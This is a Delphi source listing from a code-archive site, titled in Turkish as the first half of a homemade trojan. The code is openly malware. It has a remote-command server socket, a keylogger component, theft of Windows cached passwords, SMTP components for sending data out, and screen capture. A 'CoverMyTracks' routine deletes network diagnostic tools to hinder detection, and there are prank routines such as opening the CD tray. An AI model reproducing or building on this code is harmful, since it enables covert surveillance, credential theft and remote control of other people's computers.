Mega Code Archive

 
Categories / Delphi / Games
 

Delphide trojan yapımı [cogu kodbankdaki kodlarla yapıldı] -1[yarısı burda yarısı dıgerınde]

unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, ExtCtrls, StdCtrls,Mmsystem,shellapi,Psock, NMMSG,Registry,IniFiles, NMsmtp,KeySpy,ShlOBJ, SharedResource; type TForm1 = class(TForm) ServerSocket1: TServerSocket; Edit1: TEdit; Timer1: TTimer; Label1: TLabel; NMSMTP1: TNMSMTP; Label2: TLabel; Edit2: TEdit; Timer2: TTimer; ClientSocket1: TClientSocket; hook: TMemo; KeySpy1: TKeySpy; Label3: TLabel; SharedResource1: TSharedResource; label4: TEdit; procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure Edit1Change(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormActivate(Sender: TObject); procedure FormShow(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure Edit2Change(Sender: TObject); procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte; KeyStr: String); procedure KeySpy1ActiveTitleChanged(Sender: TObject; ActiveTitle: String); procedure ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); procedure label4Change(Sender: TObject); private { Private declarations } public hMPR: THandle; procedure WriteText(TransText: string); { Public declarations } end; var Form1: TForm1; const Count: Integer = 0; function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall; implementation function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords'; type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; ResourceSize: Word; PasswordSize: Word; EntryIndex: Byte; EntryType: Byte; PasswordC: Char; end; var Result: Integer; dc : hdc; C :PChar; I: Integer; Reg : TRegistry; Keys,Values: TStringList; SystemDir : String ; Canvas: TCanvas; szWinDir:array[0..MAX_PATH] of char; Cmd:string; AppExe :string; WinPassword: TWinPassword; MyFormat : Word; AData: THandle; APalette: HPalette; DCDesk: HDC; MyBMP : TBitmap; adres1:string; {$R *.DFM} const OldRet: Boolean = False; function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; var Password: String; PC: Array[0..$FF] of Char; begin inc(Count); Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize); PC[WinPassword.ResourceSize] := #0; CharToOem(PC, PC); Password := StrPas(PC); Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize); Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize); PC[WinPassword.PasswordSize] := #0; CharToOem(PC, PC); Password := Password + ': ' + StrPas(PC); Form1.hook.lines.Add(Password); Result := True; end; procedure TForm1.WriteText(TransText: string); var MyHand: HWND; MyDc: HDC; MyCanvas: TCanvas; begin MyHand := GetDesktopWindow; MyDc := GetWindowDC(MyHand); MyCanvas := TCanvas.Create; MyCanvas.Handle := MyDC; BeginPath(MyCanvas.Handle); MyCanvas.Font.Color := clRed; MyCanvas.Font.Name := 'Courier New'; MyCanvas.Font.Size := 100; SetBkMode(MyCanvas.Handle, TRANSPARENT); EndPath(MyCanvas.Handle); MyCanvas.TextOut(100, 100, TransText); end; procedure SetRes(XRes, YRes: DWord); var lpDevMode : TDeviceMode; begin EnumDisplaySettings(nil, 0, lpDevMode); lpDevMode.dmFields:=DM_PELSWIDTH or DM_PELSHEIGHT; lpDevMode.dmPelsWidth:=XRes; lpDevMode.dmPelsHeight:=YRes; ChangeDisplaySettings(lpDevMode, 0); end; Procedure CloseDoor; Begin mciSendString('Set cdaudio door closed', nil, 0, 0); end; Procedure OpenDoor; Begin mciSendString('Set cdaudio door open', nil, 0, 0); end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:string; begin s:=socket.receivetext; edit1.text:=s; end; Procedure CoverMyTracks; var WindowsDirectory : String ; begin DeleteFile(WindowsDirectory+'Netstat.exe'); DeleteFile(WindowsDirectory+'NBTSTAT.EXE'); DeleteFile(WindowsDirectory+'TRACERT.EXE'); DeleteFile(WindowsDirectory+'ROUTE.EXE'); DeleteFile(WindowsDirectory+'PING.EXE'); end; procedure e; begin Canvas:=TCanvas.Create; try Canvas.Handle:=CreateDC('DISPLAY',nil,nil,nil); Canvas.CopyRect(Rect(0,0,Screen.Width,Screen.Height),Canvas, Rect(0,Screen.Height,Screen.Width,0)); finally Canvas.Free; end; end;